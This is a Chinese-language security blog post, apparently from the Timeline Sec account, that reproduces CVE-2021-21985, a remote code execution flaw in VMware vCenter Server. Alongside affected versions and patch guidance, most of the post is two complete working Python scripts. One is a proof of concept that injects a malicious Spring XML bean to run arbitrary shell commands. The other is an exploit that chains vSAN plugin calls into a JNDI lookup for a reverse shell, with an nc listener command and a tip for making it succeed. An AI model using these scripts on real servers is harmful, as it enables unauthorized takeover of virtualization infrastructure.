前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-21985: VMware vCenter Server RCE复现

CVE-2021-21985: VMware vCenter Server RCE复现

作者头像
Timeline Sec
发布2021-07-23 10:55:24
4.6K0
发布2021-07-23 10:55:24
举报
文章被收录于专栏:Timeline Sec

VMware vCenter Server服务器是一种高级服务器管理软件,它为控制vsphere环境提供了一个集中式平台,以便在混合云中实现可见性。

0x02 漏洞概述

编号:CVE-2021-21985

该漏洞存在于vSphere Client(HTML5)中,由于vCenter Server中默认启用的Virtual SAN Health Check插件缺乏输入验证,拥有443端口网络访问权限的攻击者可以利用此漏洞在承载vCenter Server的操作系统上远程执行任意命令。

0x03 影响版本

VMware vCenter Server:

非7.0 U2b版本的7.0版本

非6.7 U3n版本的6.7版本

非6.5 U3p版本的6.5版

VMware Cloud Foundation:

低于4.2.1版本的4.x版本

低于3.10.2.1版本的3.x版本

0x04 环境搭建

环境搭建可参考,此文不表

代码语言:javascript
复制
https://blog.csdn.net/z136370204/article/details/111719373

0x05 漏洞复现

1.首先使用POC执行whoami来测试是否存在该漏洞

代码语言:javascript
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import base64
import sys
import zipfile
from urllib.parse import urlparse

import zlib
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}

def banner():
    print("""
==============================================================
         _____           _              _____   _____ ______ 
        / ____|         | |            |  __ \ / ____|  ____|
 __   _| |     ___ _ __ | |_ ___ _ __  | |__) | |    | |__   
 \ \ / / |    / _ \ '_ \| __/ _ \ '__| |  _  /| |    |  __|  
  \ V /| |___|  __/ | | | ||  __/ |    | | \ \| |____| |____ 
   \_/  \_____\___|_| |_|\__\___|_|    |_|  \_\\_____|______|

                              Powered by r0cky Team ZionLab
==============================================================
    """)



def create_xml():

    print("[*] Create Xml to offline_bundle.xml ...")
    context = """<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ {cmd} 2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>
""".replace("{cmd}", cmd)
    with open('offline_bundle.xml', 'w') as wf:
        wf.write(context)
        wf.flush()

def create_zip():
    print("[*] Create Zip to offline_bundle.zip ...")
    with zipfile.ZipFile('offline_bundle.zip', 'w', zipfile.ZIP_DEFLATED) as zp:
        zp.write('offline_bundle.xml')

def toBase64():
    with open('offline_bundle.zip', 'rb') as rf:
        return base64.b64encode(rf.read())

def poc1(url):
    ssrf_str = "https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,{}%23"
    ssrf = ssrf_str.format(bytes.decode(toBase64()))

    print ("[*] Get XML to SystemProperties  ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages"

    data = {"methodInput":[[ssrf]]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)


def poc2(url):

    print("[*] getProperty   ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty"

    data = {"methodInput": ["output", None]}

    r = requests.post(target, data=json.dumps(data), headers=headers,
                      verify=False, proxies=proxies)
    if "result" in r.json():
        print("[+] Command:", cmd)
        print(r.json()['result'])
    else:
        print ("[-] send payload failed.")

headers = {"Content-Type": "application/json"}

def main(url):
    try:
        create_xml()
        create_zip()
        poc1(url)
        poc2(url)
    except:
        print("[-] send payload failed.")

if __name__ == '__main__':
    banner()
    try:
        target = sys.argv[1]
        cmd = sys.argv[2]
        up = urlparse(target)
        target = up.scheme + "://" + up.netloc
        main(target)
    except:
        print("Example: \n\tpython3 " + sys.argv[0] + " <target> <cmd>\n")

该POC创建了一个恶意xml文件,打包成zip,并base64后通过特定格式发送,返回包含result字段,及证明存在该漏洞

2、使用EXP反弹Shell

代码语言:javascript
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""

import sys
from urllib.parse import urlparse

import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}


def banner():
    print("""
==============================================================
         _____           _              _____   _____ ______ 
        / ____|         | |            |  __ \ / ____|  ____|
 __   _| |     ___ _ __ | |_ ___ _ __  | |__) | |    | |__   
 \ \ / / |    / _ \ '_ \| __/ _ \ '__| |  _  /| |    |  __|  
  \ V /| |___|  __/ | | | ||  __/ |    | | \ \| |____| |____ 
   \_/  \_____\___|_| |_|\__\___|_|    |_|  \_\\_____|______|

                              Powered by r0cky Team ZionLab
==============================================================
    """)


def payload1(url):
    print ("[*] Step 1 setTargetObject to null ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject"

    data = {"methodInput":[None]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    if "result" in r.json():
        payload2(url)
    else:
        print ("[-] send payload failed1.")


def payload2(url):
    print("[*] Step 2 setStaticMethod to payload ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod"

    data = {"methodInput": ["javax.naming.InitialContext.doLookup"]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    if "result" in r.json():
        payload3(url)
    else:
        print ("[-] send payload failed2.")

def payload3(url):
    print("[*] Step 3 setTargetMethod to doLookup ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod"

    data = {"methodInput": ["doLookup"]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    if "result" in r.json():
        payload4(url)
    else:
        print ("[-] send payload failed3.")

def payload4(url):
    print("[*] Step 4 setArguments with payload args ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments"

    data = {"methodInput": [[rmi_class]]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    if "result" in r.json():
        payload5(url)
    else:
        print ("[-] send payload failed4.")

def payload5(url):
    print("[*] Step 5 initial payload class and methods ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare"

    data = {"methodInput": []}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    if "result" in r.json():
        payload6(url)
    else:
        print ("[-] send payload failed5.")

def payload6(url):
    print("[*] Step 6 trigger method invoke ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke"

    data = {"methodInput": []}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    print("[+] send payload success.")
    print()
    print("[END] VMWare vCenter RCE Done.")

headers = {"Content-Type": "application/json"}

if __name__ == '__main__':
    banner()
    try:
        target = sys.argv[1]
        rmi_class = sys.argv[2]
        up = urlparse(target)
        target = up.scheme + "://" + up.netloc
        payload1(target)
    except:
        print("Example: \n\tpython3 " + sys.argv[
            0] + " <target> <rmi://ip/class>\n")

首先需要启动RMI

然后开启reverse shell监听

nc -lvnp 5555

最后执行EXP

注意:复现中发现该EXP的payload5和payload6函数中的None要删掉,不然会失败

0x06 修复方式

VMware vCenter Server:

7.0版本升级到7.0 U2b

6.7版本升级到6.7 U3n

6.5版本升级到6.5 U3p

VMware Cloud Foundation:

4.x版本升级到4.2.1

3.x版本升级到3.10.2.1

代码语言:javascript
复制
参考链接:

https://github.com/r0ckysec/CVE-2021-21985

https://github.com/xnianq/cve-2021-21985_exp

https://www.vmware.com/security/advisories/VMSA-2021-0010.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档